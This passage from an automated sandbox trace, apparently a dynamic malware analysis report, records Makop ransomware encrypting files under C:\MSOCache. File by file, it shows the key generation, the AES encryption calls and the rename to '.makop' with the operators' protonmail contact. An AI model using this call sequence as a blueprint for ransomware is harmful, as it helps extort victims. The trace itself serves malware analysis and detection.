lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.619] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.619] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.619] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.619] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.619] SetEndOfFile (hFile=0x124) returned 1 [0082.627] GetProcessHeap () returned 0x48a0000 [0082.627] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0082.627] GetProcessHeap () returned 0x48a0000 [0082.627] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0082.627] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0082.627] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0082.628] CloseHandle (hObject=0x124) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0082.628] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0082.628] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.629] GetProcessHeap () returned 0x48a0000 [0082.629] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0082.629] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0082.629] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0082.629] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0082.629] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.630] GetProcessHeap () returned 0x48a0000 [0082.630] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0082.630] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0082.630] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.630] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0082.666] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0082.666] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0082.666] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0082.666] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0082.667] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0082.667] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0082.668] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.668] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.668] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x100000, lpOverlapped=0x0) returned 1 [0082.704] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x100000, dwBufLen=0x100000 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x100000) returned 1 [0082.715] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.715] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x100000, lpOverlapped=0x0) returned 1 [0082.722] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1655e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.722] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0082.723] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.723] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x65510, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x65510, lpOverlapped=0x0) returned 1 [0082.753] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x65510, dwBufLen=0x65510 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x65510) returned 1 [0082.757] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.757] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x65510, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x65510, lpOverlapped=0x0) returned 1 [0082.760] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.760] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1655e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.760] SetEndOfFile (hFile=0x124) returned 1 [0082.769] GetProcessHeap () returned 0x48a0000 [0082.769] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0082.770] GetProcessHeap () returned 0x48a0000 [0082.770] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0082.770] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0082.770] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0082.773] CloseHandle (hObject=0x124) returned 1 [0082.773] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0082.773] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0082.773] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.774] GetProcessHeap () returned 0x48a0000 [0082.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0082.774] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0082.775] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0082.775] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x6, lpOverlapped=0x0) returned 1 [0082.779] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0082.779] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.779] GetProcessHeap () returned 0x48a0000 [0082.779] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0082.779] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x6579510*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x6579510*=0x50) returned 1 [0082.779] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.780] WriteFile (in: hFile=0x124, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x6579528*=0x50, lpOverlapped=0x0) returned 1 [0082.780] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0082.780] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0082.780] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0082.780] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0082.780] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0082.780] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0082.780] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.781] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.781] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xaec3a, lpOverlapped=0x0) returned 1 [0082.799] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xaec40) returned 1 [0082.807] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.808] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xaec40, lpOverlapped=0x0) returned 1 [0082.812] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.812] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.813] SetEndOfFile (hFile=0x124) returned 1 [0082.822] GetProcessHeap () returned 0x48a0000 [0082.822] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0082.822] GetProcessHeap () returned 0x48a0000 [0082.822] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0082.822] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 134 [0082.822] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0082.824] CloseHandle (hObject=0x124) returned 1 [0082.824] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0082.824] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0082.824] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.824] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.825] GetProcessHeap () returned 0x48a0000 [0082.825] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0082.825] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0082.825] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0082.825] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xf, lpOverlapped=0x0) returned 1 [0082.829] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0082.829] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.829] GetProcessHeap () returned 0x48a0000 [0082.830] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0082.830] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0082.830] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.830] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0082.830] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0082.830] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0082.830] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0082.831] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0082.831] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0082.831] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0082.831] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.831] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.831] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5061, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x5061, lpOverlapped=0x0) returned 1 [0082.834] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x5070, dwBufLen=0x5070 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x5070) returned 1 [0082.834] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.834] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x5070, lpOverlapped=0x0) returned 1 [0082.834] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.834] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x5134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.834] SetEndOfFile (hFile=0x124) returned 1 [0082.841] GetProcessHeap () returned 0x48a0000 [0082.841] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0082.841] GetProcessHeap () returned 0x48a0000 [0082.841] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0082.841] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0082.841] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0082.842] CloseHandle (hObject=0x124) returned 1 [0082.842] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0082.843] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0082.843] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.844] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=195011319) returned 1 [0082.844] GetProcessHeap () returned 0x48a0000 [0082.845] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0082.845] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0082.845] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.845] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x9, lpOverlapped=0x0) returned 1 [0082.860] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 